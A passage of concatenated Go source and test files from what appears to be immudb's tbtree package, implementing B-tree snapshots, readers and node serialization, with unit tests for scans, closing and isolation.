r.leafNode.t.hLog) if errors.Is(err, ErrNoMoreEntries) { r.leafValue = nil r.hoff = 0 continue } else if err != nil { return nil, nil, 0, 0, err } r.hoff++ if r.skipped < r.offset { r.skipped++ continue } var c uint64 if r.descOrder { c = hc - uint64(r.hoff) + 1 } else { c = uint64(r.hoff) } return cp(r.leafValue.key), cp(tvs[0].Value), tvs[0].Ts, c, nil } } func (r *Reader) Close() error { if r.closed { return ErrAlreadyClosed } r.snapshot.closedReader(r.id) r.closed = true return nil } func cp(s []byte) []byte { if s == nil { return nil } c := make([]byte, len(s)) copy(c, s) return c } ================================================ FILE: embedded/tbtree/reader_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package tbtree import ( "bytes" "encoding/binary" "testing" "github.com/stretchr/testify/require" ) func TestReaderForEmptyTreeShouldReturnError(t *testing.T) { tbtree, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) snapshot, err := tbtree.Snapshot() require.NotNil(t, snapshot) require.NoError(t, err) defer snapshot.Close() _, err = snapshot.NewReader(ReaderSpec{SeekKey: make([]byte, tbtree.maxKeySize+1)}) require.ErrorIs(t, err, ErrIllegalArguments) r, err := snapshot.NewReader(ReaderSpec{SeekKey: []byte{0, 0, 0, 0}, DescOrder: false}) require.NoError(t, err) _, _, _, _, err = r.Read() require.ErrorIs(t, err, ErrNoMoreEntries) _, _, _, _, err = r.ReadBetween(1, 1) require.ErrorIs(t, err, ErrNoMoreEntries) } func TestReaderWithInvalidSpec(t *testing.T) { tbtree, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) snapshot, err := tbtree.Snapshot() require.NotNil(t, snapshot) require.NoError(t, err) defer snapshot.Close() } func TestReaderAscendingScan(t *testing.T) { opts := DefaultOptions(). WithMaxKeySize(8). WithMaxValueSize(8) opts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize)) tbtree, err := Open(t.TempDir(), opts) require.NoError(t, err) monotonicInsertions(t, tbtree, 1, 1000, true) snapshot, err := tbtree.Snapshot() require.NotNil(t, snapshot) require.NoError(t, err) defer func() { err := snapshot.Close() require.NoError(t, err) }() rspec := ReaderSpec{ SeekKey: []byte{0, 0, 0, 250}, Prefix: []byte{0, 0, 0, 250}, DescOrder: false, } reader, err := snapshot.NewReader(rspec) require.NoError(t, err) err = snapshot.Close() require.ErrorIs(t, err, ErrReadersNotClosed) for { k, _, _, _, err := reader.Read() if err != nil { require.ErrorIs(t, err, ErrNoMoreEntries) break } require.True(t, bytes.Compare(reader.seekKey, k) < 1) } err = reader.Close() require.NoError(t, err) _, _, _, _, err = reader.Read() require.ErrorIs(t, err, ErrAlreadyClosed) err = reader.Reset() require.ErrorIs(t, err, ErrAlreadyClosed) err = reader.Close() require.ErrorIs(t, err, ErrAlreadyClosed) } func TestReaderAscendingScanWithEndingKey(t *testing.T) { opts := DefaultOptions(). WithMaxKeySize(8). WithMaxValueSize(8) opts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize)) tbtree, err := Open(t.TempDir(), opts) require.NoError(t, err) monotonicInsertions(t, tbtree, 1, 1000, true) snapshot, err := tbtree.Snapshot() require.NotNil(t, snapshot) require.NoError(t, err) defer func() { err := snapshot.Close() require.NoError(t, err) }() rspec := ReaderSpec{ EndKey: []byte{0, 0, 0, 100}, InclusiveEnd: true, Prefix: []byte{0, 0, 0}, DescOrder: false, } reader, err := snapshot.NewReader(rspec) require.NoError(t, err) err = snapshot.Close() require.ErrorIs(t, err, ErrReadersNotClosed) var lastKey []byte for { k, _, _, _, err := reader.Read() if err != nil { require.ErrorIs(t, err, ErrNoMoreEntries) break } require.True(t, bytes.Compare(reader.seekKey, k) < 1) lastKey = k } require.Equal(t, rspec.EndKey, lastKey) err = reader.Close() require.NoError(t, err) _, _, _, _, err = reader.Read() require.ErrorIs(t, err, ErrAlreadyClosed) err = reader.Close() require.ErrorIs(t, err, ErrAlreadyClosed) } func TestReaderAscendingScanAsBefore(t *testing.T) { opts := DefaultOptions(). WithMaxKeySize(8). WithMaxValueSize(8) opts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize)) tbtree, err := Open(t.TempDir(), opts) require.NoError(t, err) monotonicInsertions(t, tbtree, 1, 1000, true) snapshot, err := tbtree.Snapshot() require.NotNil(t, snapshot) require.NoError(t, err) defer func() { err := snapshot.Close() require.NoError(t, err) }() rspec := ReaderSpec{ SeekKey: []byte{0, 0, 0, 250}, Prefix: []byte{0, 0, 0, 250}, DescOrder: false, } reader, err := snapshot.NewReader(rspec) require.NoError(t, err) err = snapshot.Close() require.ErrorIs(t, err, ErrReadersNotClosed) for { k, _, _, hc, err := reader.ReadBetween(0, 1001) if err != nil { require.ErrorIs(t, err, ErrNoMoreEntries) break } require.True(t, bytes.Compare(reader.seekKey, k) < 1) require.Equal(t, uint64(1), hc) } err = reader.Close() require.NoError(t, err) _, _, _, _, err = reader.ReadBetween(0, 0) require.ErrorIs(t, err, ErrAlreadyClosed) err = reader.Close() require.ErrorIs(t, err, ErrAlreadyClosed) } func TestReaderAsBefore(t *testing.T) { opts := DefaultOptions(). WithMaxKeySize(8). WithMaxValueSize(8) opts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize)) tbtree, err := Open(t.TempDir(), opts) require.NoError(t, err) key := []byte{0, 0, 0, 250} value := []byte{0, 0, 0, 251} for i := 0; i < 10; i++ { err = tbtree.Insert(key, value) require.NoError(t, err) } _, _, err = tbtree.Flush() require.NoError(t, err) snapshot, err := tbtree.Snapshot() require.NotNil(t, snapshot) require.NoError(t, err) defer func() { err := snapshot.Close() require.NoError(t, err) }() rspec := ReaderSpec{ Prefix: key, } reader, err := snapshot.NewReader(rspec) require.NoError(t, err) k, v, ts, hc, err := reader.ReadBetween(1, 9) require.NoError(t, err) require.Equal(t, key, k) require.Equal(t, value, v) require.Equal(t, uint64(9), ts) require.Equal(t, uint64(9), hc) err = reader.Close() require.NoError(t, err) } func TestReaderAscendingScanWithoutSeekKey(t *testing.T) { opts := DefaultOptions(). WithMaxKeySize(8). WithMaxValueSize(8) opts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize)) tbtree, err := Open(t.TempDir(), opts) require.NoError(t, err) monotonicInsertions(t, tbtree, 1, 1000, true) snapshot, err := tbtree.Snapshot() require.NotNil(t, snapshot) require.NoError(t, err) defer func() { err := snapshot.Close() require.NoError(t, err) }() rspec := ReaderSpec{ SeekKey: nil, Prefix: []byte{0, 0, 0, 250}, DescOrder: false, } reader, err := snapshot.NewReader(rspec) require.NoError(t, err) err = snapshot.Close() require.ErrorIs(t, err, ErrReadersNotClosed) for { k, _, _, _, err := reader.Read() if err != nil { require.ErrorIs(t, err, ErrNoMoreEntries) break } require.True(t, bytes.Compare(reader.seekKey, k) < 1) } err = reader.Close() require.NoError(t, err) _, _, _, _, err = reader.Read() require.ErrorIs(t, err, ErrAlreadyClosed) err = reader.Close() require.ErrorIs(t, err, ErrAlreadyClosed) } func TestReaderDescendingScan(t *testing.T) { opts := DefaultOptions(). WithMaxKeySize(8). WithMaxValueSize(8) opts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize)) tbtree, err := Open(t.TempDir(), opts) require.NoError(t, err) keyCount := 1024 monotonicInsertions(t, tbtree, 1, keyCount, true) snapshot, err := tbtree.Snapshot() require.NotNil(t, snapshot) require.NoError(t, err) defer snapshot.Close() seekKey := make([]byte, 4) binary.BigEndian.PutUint32(seekKey, uint32(512)) prefixKey := make([]byte, 3) prefixKey[2] = 1 rspec := ReaderSpec{ SeekKey: seekKey, Prefix: prefixKey, DescOrder: true, } reader, err := snapshot.NewReader(rspec) require.NoError(t, err) defer reader.Close() i := 0 prevk := reader.seekKey for { k, _, _, _, err := reader.Read() if err != nil { require.ErrorIs(t, err, ErrNoMoreEntries) break } require.True(t, bytes.Compare(prevk, k) > 0) prevk = k i++ } require.Equal(t, 256, i) } func TestReaderDescendingScanAsBefore(t *testing.T) { opts := DefaultOptions(). WithMaxKeySize(8). WithMaxValueSize(8) opts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize)) tbtree, err := Open(t.TempDir(), opts) require.NoError(t, err) keyCount := 1024 monotonicInsertions(t, tbtree, 1, keyCount, true) snapshot, err := tbtree.Snapshot() require.NotNil(t, snapshot) require.NoError(t, err) defer snapshot.Close() seekKey := make([]byte, 4) binary.BigEndian.PutUint32(seekKey, uint32(512)) prefixKey := make([]byte, 3) prefixKey[2] = 1 rspec := ReaderSpec{ SeekKey: seekKey, Prefix: prefixKey, DescOrder: true, } reader, err := snapshot.NewReader(rspec) require.NoError(t, err) defer reader.Close() err = reader.Reset() require.NoError(t, err) i := 0 prevk := reader.seekKey for { k, _, _, hc, err := reader.ReadBetween(0, uint64(keyCount)) if err != nil { require.ErrorIs(t, err, ErrNoMoreEntries) break } require.True(t, bytes.Compare(prevk, k) > 0) require.Equal(t, uint64(1), hc) prevk = k i++ } require.Equal(t, 256, i) } func TestReaderDescendingWithoutSeekKeyScan(t *testing.T) { opts := DefaultOptions(). WithMaxKeySize(8). WithMaxValueSize(8) opts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize)) tbtree, err := Open(t.TempDir(), opts) require.NoError(t, err) keyCount := 1024 monotonicInsertions(t, tbtree, 1, keyCount, true) snapshot, err := tbtree.Snapshot() require.NotNil(t, snapshot) require.NoError(t, err) defer snapshot.Close() prefixKey := make([]byte, 3) prefixKey[2] = 1 rspec := ReaderSpec{ SeekKey: nil, Prefix: prefixKey, DescOrder: true, } reader, err := snapshot.NewReader(rspec) require.NoError(t, err) defer reader.Close() i := 0 prevk := reader.seekKey for { k, _, _, _, err := reader.Read() if err != nil { require.ErrorIs(t, err, ErrNoMoreEntries) break } require.True(t, bytes.Compare(prevk, k) > 0) prevk = k i++ } require.Equal(t, 256, i) } func TestFullScanAscendingOrder(t *testing.T) { dir := t.TempDir() tbtree, err := Open(dir, DefaultOptions()) require.NoError(t, err) keyCount := 10000 randomInsertions(t, tbtree, keyCount, false) err = tbtree.Close() require.NoError(t, err) tbtree, err = Open(dir, DefaultOptions()) require.NoError(t, err) snapshot, err := tbtree.Snapshot() require.NoError(t, err) require.NotNil(t, snapshot) require.Equal(t, uint64(keyCount), snapshot.Ts()) defer snapshot.Close() rspec := ReaderSpec{ SeekKey: nil, Prefix: nil, DescOrder: false, } reader, err := snapshot.NewReader(rspec) require.NoError(t, err) defer reader.Close() i := 0 prevk := reader.seekKey for { k, _, _, _, err := reader.Read() if err != nil { require.ErrorIs(t, err, ErrNoMoreEntries) break } require.True(t, bytes.Compare(prevk, k) < 1) prevk = k i++ } require.Equal(t, keyCount, i) } func TestFullScanDescendingOrder(t *testing.T) { tbtree, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) keyCount := 10000 randomInsertions(t, tbtree, keyCount, false) snapshot, err := tbtree.Snapshot() require.NotNil(t, snapshot) require.NoError(t, err) defer snapshot.Close() rspec := ReaderSpec{ SeekKey: []byte{255, 255, 255, 255}, Prefix: nil, DescOrder: true, } reader, err := snapshot.NewReader(rspec) require.NoError(t, err) defer reader.Close() i := 0 prevk := reader.seekKey for { k, _, _, _, err := reader.Read() if err != nil { require.ErrorIs(t, err, ErrNoMoreEntries) break } require.True(t, bytes.Compare(k, prevk) < 1) prevk = k i++ } require.Equal(t, keyCount, i) } ================================================ FILE: embedded/tbtree/snapshot.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package tbtree import ( "bytes" "encoding/binary" "io" "math" "sync" ) const ( InnerNodeType = iota LeafNodeType ) // Snapshot implements a snapshot on top of a B-tree data structure. // It provides methods for storing and retrieving key-value pairs. // The snapshot maintains a consistent view of the underlying data structure. // It uses a lock to ensure concurrent access safety. // Snapshot represents a consistent view of a B-tree data structure. type Snapshot struct { t *TBtree id uint64 ts uint64 root node readers map[int]io.Closer maxReaderID int closed bool _buf []byte mutex sync.RWMutex } // Set inserts a key-value pair into the snapshot. // It locks the snapshot, performs the insertion, and updates the root node if necessary. // The method handles splitting of nodes to maintain the B-tree structure. // It returns an error if the insertion fails. // Example usage: // // err := snapshot.Set([]byte("key"), []byte("value")) func (s *Snapshot) Set(key, value []byte) error { // Acquire a write lock on the snapshot s.mutex.Lock() defer s.mutex.Unlock() // Create copies of the key and value to ensure immutability k := make([]byte, len(key)) copy(k, key) v := make([]byte, len(value)) copy(v, value) // Insert the key-value pair into the root node nodes, depth, err := s.root.insert([]*KVT{{K: k, V: v, T: s.ts}}) if err != nil { return err } // Split nodes to maintain the B-tree structure for len(nodes) > 1 { newRoot := &innerNode{ t: s.t, nodes: nodes, _ts: s.ts, mut: true, } depth++ nodes, err = newRoot.split() if err != nil { return err } } // Update the root node s.root = nodes[0] // Update B-tree depth metric metricsBtreeDepth.WithLabelValues(s.t.path).Set(float64(depth)) return nil } // Get retrieves the value associated with the given key from the snapshot. // It locks the snapshot for reading, and delegates the retrieval to the root node. // The method returns the value, timestamp, hash count, and an error. // Example usage: // // value, timestamp, hashCount, err := snapshot.Get([]byte("key")) func (s *Snapshot) Get(key []byte) (value []byte, ts uint64, hc uint64, err error) { // Acquire a read lock on the snapshot s.mutex.RLock() defer s.mutex.RUnlock() // Check if the snapshot is closed if s.closed { return nil, 0, 0, ErrAlreadyClosed } // Check if the key argument is nil if key == nil { return nil, 0, 0, ErrIllegalArguments } // Delegate the retrieval to the root node v, ts, hc, err := s.root.get(key) return cp(v), ts, hc, err } func (s *Snapshot) GetBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) { s.mutex.RLock() defer s.mutex.RUnlock() if s.closed { return nil, 0, 0, ErrAlreadyClosed } if key == nil { return nil, 0, 0, ErrIllegalArguments } v, ts, hc, err := s.root.getBetween(key, initialTs, finalTs) return cp(v), ts, hc, err } // History retrieves the history of a key in the snapshot. // It locks the snapshot for reading, and delegates the history retrieval to the root node. // The method returns an array of timestamps, the hash count, and an error. // Example usage: // // timestamps, hashCount, err := snapshot.History([]byte("key"), 0, true, 10) func (s *Snapshot) History(key []byte, offset uint64, descOrder bool, limit int) (timedValues []TimedValue, hCount uint64, err error) { // Acquire a read lock on the snapshot s.mutex.RLock() defer s.mutex.RUnlock() // Check if the snapshot is closed if s.closed { return nil, 0, ErrAlreadyClosed } // Check if the key argument is nil if key == nil { return nil, 0, ErrIllegalArguments } // Check if the limit argument is less than 1 if limit < 1 { return nil, 0, ErrIllegalArguments } // Delegate the history retrieval to the root node return s.root.history(key, offset, descOrder, limit) } // Ts returns the timestamp associated with the root node of the snapshot. // It locks the snapshot for reading and returns the timestamp. // Example usage: // // timestamp := snapshot.Ts() func (s *Snapshot) Ts() uint64 { // Acquire a read lock on the snapshot s.mutex.RLock() defer s.mutex.RUnlock() return s.root.ts() } // GetWithPrefix retrieves the key-value pair with a specific prefix from the snapshot. // It locks the snapshot for reading, and delegates the retrieval to the root node. // The method returns the key, value, timestamp, hash count, and an error. // Example usage: // // key, value, timestamp, hashCount, err := snapshot.GetWithPrefix([]byte("prefix"), []byte("neq")) func (s *Snapshot) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value []byte, ts uint64, hc uint64, err error) { // Acquire a read lock on the snapshot s.mutex.RLock() defer s.mutex.RUnlock() // Check if the snapshot is closed if s.closed { return nil, nil, 0, 0, ErrAlreadyClosed } // Find the leaf node containing the key-value pair _, leaf, off, err := s.root.findLeafNode(prefix, nil, 0, neq, false) if err != nil { return nil, nil, 0, 0, err } // Retrieve the leaf value at the specified offset leafValue := leaf.values[off] // Check if the prefix matches the leaf key if len(prefix) > len(leafValue.key) { return nil, nil, 0, 0, ErrKeyNotFound } if bytes.Equal(prefix, leafValue.key[:len(prefix)]) { return leafValue.key, cp(leafValue.timedValue().Value), leafValue.timedValue().Ts, leafValue.historyCount(), nil } return nil, nil, 0, 0, ErrKeyNotFound } // NewHistoryReader creates a new history reader for the snapshot. // It locks the snapshot for reading and creates a new history reader based on the given specification. // The method returns the history reader and an error if the creation fails. // Example usage: // // reader, err := snapshot.NewHistoryReader(&HistoryReaderSpec{Key: []byte("key"), Limit: 10}) func (s *Snapshot) NewHistoryReader(spec *HistoryReaderSpec) (*HistoryReader, error) { // Acquire a read lock on the snapshot s.mutex.RLock() defer s.mutex.RUnlock() // Check if the snapshot is closed if s.closed { return nil, ErrAlreadyClosed } // Create a new history reader with the given specification reader, err := newHistoryReader(s.maxReaderID, s, spec) if err != nil { return nil, err } // Store the reader in the snapshot's readers map s.readers[reader.id] = reader s.maxReaderID++ return reader, nil } // NewReader creates a new reader for the snapshot. // It locks the snapshot for writing and creates a new reader based on the given specification. // The method returns the reader and an error if the creation fails. // Example usage: // // reader, err := snapshot.NewReader(ReaderSpec{Prefix: []byte("prefix"), DescOrder: true}) func (s *Snapshot) NewReader(spec ReaderSpec) (r *Reader, err error) { s.mutex.Lock() defer s.mutex.Unlock() if s.closed { return nil, ErrAlreadyClosed } if len(spec.SeekKey) > s.t.maxKeySize || len(spec.Prefix) > s.t.maxKeySize { return nil, ErrIllegalArguments } greatestPrefixedKey := greatestKeyOfSize(s.t.maxKeySize) copy(greatestPrefixedKey, spec.Prefix) // Adjust seekKey based on key prefix seekKey := spec.SeekKey inclusiveSeek := spec.InclusiveSeek if spec.DescOrder { if len(spec.SeekKey) == 0 || bytes.Compare(spec.SeekKey, greatestPrefixedKey) > 0 { seekKey = greatestPrefixedKey inclusiveSeek = true } } else { if bytes.Compare(spec.SeekKey, spec.Prefix) < 0 { seekKey = spec.Prefix inclusiveSeek = true } } // Adjust endKey based on key prefix endKey := spec.EndKey inclusiveEnd := spec.InclusiveEnd if spec.DescOrder { if bytes.Compare(spec.EndKey, spec.Prefix) < 0 { endKey = spec.Prefix inclusiveEnd = true } } else { if len(spec.EndKey) == 0 || bytes.Compare(spec.EndKey, greatestPrefixedKey) > 0 { endKey = greatestPrefixedKey inclusiveEnd = true } } // Create a new reader with the given specification r = &Reader{ snapshot: s, id: s.maxReaderID, seekKey: seekKey, endKey: endKey, prefix: spec.Prefix, inclusiveSeek: inclusiveSeek, inclusiveEnd: inclusiveEnd, includeHistory: spec.IncludeHistory, descOrder: spec.DescOrder, offset: spec.Offset, closed: false, } s.readers[r.id] = r s.maxReaderID++ return r, nil } // closedReader removes a closed reader from the snapshot's readers map. // It locks the snapshot for writing and removes the reader with the specified ID. // The method returns an error if the removal fails. func (s *Snapshot) closedReader(id int) error { s.mutex.Lock() defer s.mutex.Unlock() delete(s.readers, id) return nil } // Close closes the snapshot and releases any associated resources. // It locks the snapshot for writing, checks if there are any active readers, and marks the snapshot as closed. // The method returns an error if there are active readers. // Example usage: // // err := snapshot.Close() func (s *Snapshot) Close() error { s.mutex.Lock() defer s.mutex.Unlock() if s.closed { return ErrAlreadyClosed } if len(s.readers) > 0 { return ErrReadersNotClosed } err := s.t.snapshotClosed(s) if err != nil { return err } s.closed = true return nil } // WriteTo writes the snapshot to the specified writers. // It locks the snapshot for writing, performs the write operation on the root node, // and returns the root offset, minimum offset, number of bytes written to nw and hw, // and an error if any. // // Parameters: // - nw: The writer to write the snapshot's nodes. // - hw: The writer to write the snapshot's history. // - writeOpts: The options for the write operation. // // Returns: // - rootOffset: The offset of the root node in the written data. // - minOffset: The minimum offset of all written nodes. // - wN: The number of bytes written to nw. // - wH: The number of bytes written to hw. // - err: An error if the write operation fails or the arguments are invalid. // // Example usage: // // rootOffset, minOffset, wN, wH, err := snapshot.WriteTo(nw, hw, &WriteOpts{}) func (s *Snapshot) WriteTo(nw, hw io.Writer, writeOpts *WriteOpts) (rootOffset, minOffset int64, wN, wH int64, err error) { if nw == nil || writeOpts == nil { return 0, 0, 0, 0, ErrIllegalArguments } s.mutex.Lock() defer s.mutex.Unlock() return s.root.writeTo(nw, hw, writeOpts, s._buf) } func (n *innerNode) writeTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) (nOff, minOff int64, wN, wH int64, err error) { if writeOpts.OnlyMutated && !n.mutated() && n._minOff >= writeOpts.MinOffset { return n.off, n._minOff, 0, 0, nil } var cnw, chw int64 wopts := &WriteOpts{ OnlyMutated: writeOpts.OnlyMutated, commitLog: writeOpts.commitLog, reportProgress: writeOpts.reportProgress, MinOffset: writeOpts.MinOffset, } offsets := make([]int64, len(n.nodes)) minOffsets := make([]int64, len(n.nodes)) minOff = math.MaxInt64 for i, c := range n.nodes { wopts.BaseNLogOffset = writeOpts.BaseNLogOffset + cnw wopts.BaseHLogOffset = writeOpts.BaseHLogOffset + chw no, mo, wn, wh, err := c.writeTo(nw, hw, wopts, buf) if err != nil { return 0, 0, cnw, chw, err } offsets[i] = no minOffsets[i] = mo if minOffsets[i] < minOff { minOff = minOffsets[i] } cnw += wn chw += wh } size, err := n.size() if err != nil { return 0, 0, cnw, chw, err } bi := 0 buf[bi] = InnerNodeType bi++ binary.BigEndian.PutUint16(buf[bi:], uint16(len(n.nodes))) bi += 2 for i, c := range n.nodes { n := writeNodeRefToWithOffset(c, offsets[i], minOffsets[i], buf[bi:]) bi += n } wn, err := nw.Write(buf[:bi]) if err != nil { return 0, 0, int64(wn), chw, err } wN = cnw + int64(size) nOff = writeOpts.BaseNLogOffset + cnw if writeOpts.commitLog { n.off = writeOpts.BaseNLogOffset + cnw n._minOff = minOff if n.mut { n.mut = false for i, c := range n.nodes { _, isNodeRef := c.(*nodeRef) if isNodeRef { continue } n.nodes[i] = &nodeRef{ t: n.t, _minKey: c.minKey(), _ts: c.ts(), off: c.offset(), _minOff: c.minOffset(), } n.t.cachePut(c) } } } writeOpts.reportProgress(1, 0, 0) return nOff, minOff, wN, chw, nil } func (l *leafNode) writeTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) (nOff, minOff int64, wN, wH int64, err error) { if writeOpts.OnlyMutated && !l.mutated() && l.off >= writeOpts.MinOffset { return l.off, l.off, 0, 0, nil } size, err := l.size() if err != nil { return 0, 0, 0, 0, err } bi := 0 buf[bi] = LeafNodeType bi++ binary.BigEndian.PutUint16(buf[bi:], uint16(len(l.values))) bi += 2 accH := int64(0) for _, v := range l.values { timedValue := v.timedValues[0] binary.BigEndian.PutUint16(buf[bi:], uint16(len(v.key))) bi += 2 copy(buf[bi:], v.key) bi += len(v.key) binary.BigEndian.PutUint16(buf[bi:], uint16(len(timedValue.Value))) bi += 2 copy(buf[bi:], timedValue.Value) bi += len(timedValue.Value) binary.BigEndian.PutUint64(buf[bi:], timedValue.Ts) bi += 8 hOff := v.hOff if len(v.timedValues) > 1 { hbuf := new(bytes.Buffer) binary.Write(hbuf, binary.BigEndian, uint32(len(v.timedValues)-1)) for _, tv := range v.timedValues[1:] { binary.Write(hbuf, binary.BigEndian, uint16(len(tv.Value))) hbuf.Write(tv.Value) binary.Write(hbuf, binary.BigEndian, uint64(tv.Ts)) } binary.Write(hbuf, binary.BigEndian, uint64(v.hOff)) hOff = writeOpts.BaseHLogOffset + accH n, err := hw.Write(hbuf.Bytes()) if err != nil { return 0, 0, 0, int64(n), err } accH += int64(n) } binary.BigEndian.PutUint64(buf[bi:], uint64(hOff)) bi += 8 hCount := v.historyCount() binary.BigEndian.PutUint64(buf[bi:], hCount-1) bi += 8 if writeOpts.commitLog { v.timedValues = v.timedValues[:1] v.hOff = hOff v.hCount = hCount - 1 } } n, err := nw.Write(buf[:bi]) if err != nil { return 0, 0, int64(n), accH, err } wN = int64(size) nOff = writeOpts.BaseNLogOffset if writeOpts.commitLog { l.off = nOff if l.mut { l.mut = false l.t.cachePut(l) } } writeOpts.reportProgress(0, 1, len(l.values)) return nOff, nOff, wN, accH, nil } func (n *nodeRef) writeTo(nw, hw io.Writer, writeOpts *WriteOpts, buf []byte) (nOff, minOff int64, wN, wH int64, err error) { if writeOpts.OnlyMutated && n._minOff >= writeOpts.MinOffset { return n.off, n._minOff, 0, 0, nil } node, err := n.t.nodeAt(n.off, false) if err != nil { return 0, 0, 0, 0, err } off, mOff, wn, wh, err := node.writeTo(nw, hw, writeOpts, buf) if err != nil { return 0, 0, wn, wh, err } if writeOpts.commitLog { n.off = off n._minOff = mOff } return off, mOff, wn, wh, nil } func writeNodeRefToWithOffset(n node, offset, minOff int64, buf []byte) int { i := 0 minKey := n.minKey() binary.BigEndian.PutUint16(buf[i:], uint16(len(minKey))) i += 2 copy(buf[i:], minKey) i += len(minKey) binary.BigEndian.PutUint64(buf[i:], n.ts()) i += 8 binary.BigEndian.PutUint64(buf[i:], uint64(offset)) i += 8 binary.BigEndian.PutUint64(buf[i:], uint64(minOff)) i += 8 return i } ================================================ FILE: embedded/tbtree/snapshot_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package tbtree import ( "bytes" "testing" "github.com/stretchr/testify/require" ) func TestSnapshotSerialization(t *testing.T) { insertionCountThld := 10_000 tbtree, err := Open(t.TempDir(), DefaultOptions().WithFlushThld(insertionCountThld)) require.NoError(t, err) keyCount := insertionCountThld monotonicInsertions(t, tbtree, 1, keyCount, true) snapshot, err := tbtree.Snapshot() require.NotNil(t, snapshot) require.NoError(t, err) _, _, _, _, err = snapshot.WriteTo(nil, nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) dumpNBuf := new(bytes.Buffer) dumpHBuf := new(bytes.Buffer) wopts := &WriteOpts{ OnlyMutated: true, BaseNLogOffset: 0, BaseHLogOffset: 0, reportProgress: func(innerWritten, leafNodesWritten, keysWritten int) {}, } _, _, _, _, err = snapshot.WriteTo(dumpNBuf, dumpHBuf, wopts) require.NoError(t, err) require.True(t, dumpNBuf.Len() == 0) _, _, _, err = snapshot.Get(nil) require.ErrorIs(t, err, ErrIllegalArguments) _, _, _, err = snapshot.GetBetween(nil, 1, 2) require.ErrorIs(t, err, ErrIllegalArguments) _, _, err = snapshot.History(nil, 0, false, 1) require.ErrorIs(t, err, ErrIllegalArguments) _, _, err = snapshot.History([]byte{}, 0, false, 0) require.ErrorIs(t, err, ErrIllegalArguments) err = snapshot.Close() require.NoError(t, err) _, _, err = tbtree.Flush() require.NoError(t, err) snapshot, err = tbtree.Snapshot() require.NoError(t, err) fulldumpNBuf := new(bytes.Buffer) fulldumpHBuf := new(bytes.Buffer) wopts = &WriteOpts{ OnlyMutated: false, BaseNLogOffset: 0, BaseHLogOffset: 0, reportProgress: func(innerWritten, leafNodesWritten, keysWritten int) {}, } _, _, _, _, err = snapshot.WriteTo(fulldumpNBuf, fulldumpHBuf, wopts) require.NoError(t, err) require.True(t, fulldumpNBuf.Len() > 0) err = snapshot.Close() require.NoError(t, err) err = tbtree.Close() require.NoError(t, err) } func TestSnapshotClosing(t *testing.T) { tbtree, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) snapshot, err := tbtree.Snapshot() require.NoError(t, err) err = snapshot.Close() require.NoError(t, err) err = snapshot.Close() require.ErrorIs(t, err, ErrAlreadyClosed) _, _, _, err = snapshot.Get([]byte{}) require.ErrorIs(t, err, ErrAlreadyClosed) _, _, _, err = snapshot.GetBetween([]byte{}, 1, 1) require.ErrorIs(t, err, ErrAlreadyClosed) _, _, err = snapshot.History([]byte{}, 0, false, 1) require.ErrorIs(t, err, ErrAlreadyClosed) _, _, _, _, err = snapshot.GetWithPrefix([]byte{}, nil) require.ErrorIs(t, err, ErrAlreadyClosed) _, err = snapshot.NewReader(ReaderSpec{}) require.ErrorIs(t, err, ErrAlreadyClosed) _, err = snapshot.NewHistoryReader(nil) require.ErrorIs(t, err, ErrAlreadyClosed) err = tbtree.Close() require.NoError(t, err) } func TestSnapshotLoadFromFullDump(t *testing.T) { tbtree, err := Open(t.TempDir(), DefaultOptions().WithCompactionThld(1).WithDelayDuringCompaction(1)) require.NoError(t, err) keyCount := 1_000 monotonicInsertions(t, tbtree, 1, keyCount, true) done := make(chan struct{}) go func(done chan<- struct{}) { tbtree.Compact() done <- struct{}{} }(done) <-done checkAfterMonotonicInsertions(t, tbtree, 1, keyCount, true) err = tbtree.Close() require.NoError(t, err) } func TestSnapshotIsolation(t *testing.T) { tbtree, err := Open(t.TempDir(), DefaultOptions().WithCompactionThld(1).WithDelayDuringCompaction(1)) require.NoError(t, err) err = tbtree.Insert([]byte("key1"), []byte("value1")) require.NoError(t, err) // snapshot creation snap1, err := tbtree.Snapshot() require.NoError(t, err) snap2, err := tbtree.Snapshot() require.NoError(t, err) t.Run("keys inserted before snapshot creation should be reachable", func(t *testing.T) { _, _, _, err = snap1.Get([]byte("key1")) require.NoError(t, err) _, _, _, err = snap2.Get([]byte("key1")) require.NoError(t, err) _, _, ts, _, err := snap1.GetWithPrefix([]byte("key"), nil) require.NoError(t, err) require.NotZero(t, ts) _, _, _, err = 